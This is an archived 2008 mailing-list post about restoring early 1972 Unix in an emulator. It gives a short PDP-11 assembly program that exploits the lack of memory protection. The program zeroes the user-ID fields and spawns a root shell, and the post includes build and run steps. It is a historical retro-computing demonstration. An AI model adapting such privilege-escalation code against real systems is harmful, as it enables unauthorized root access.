From: newsham@lava.net (Tim Newsham)
Subject: [Unix-jun72] another small hack
Date: Sat, 10 May 2008 08:37:33 -1000 (HST) [thread overview]
Message-ID: <Pine.BSI.4.64.0805100835030.20114@malasada.lava.net> (raw)
No memory protection:
.. = 40014
mov $0,037772 / u.uid = 0, u.ruid = 0
sys exec; shell; shellp
sys exit
shell: </bin/sh\0>
shellm: <-\0>
shellp: shellm
0
-----
$ APOUT_ROOT=../fs/root ../tools/apout/apout ../fs/root/bin/as hack.s
$ ../tools/fixaout.py
$ mv b.out hack
... put it on your rk0 as /bin/hack, login as bin, run "hack".
Tim Newsham
http://www.thenewsh.com/~newsham/
next reply other threads:[~2008-05-10 18:37 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2008-05-10 18:37 Tim Newsham [this message]
2008-05-11 9:33 ` Warren Toomey
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=Pine.BSI.4.64.0805100835030.20114@malasada.lava.net \
--to=newsham@lava.net \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).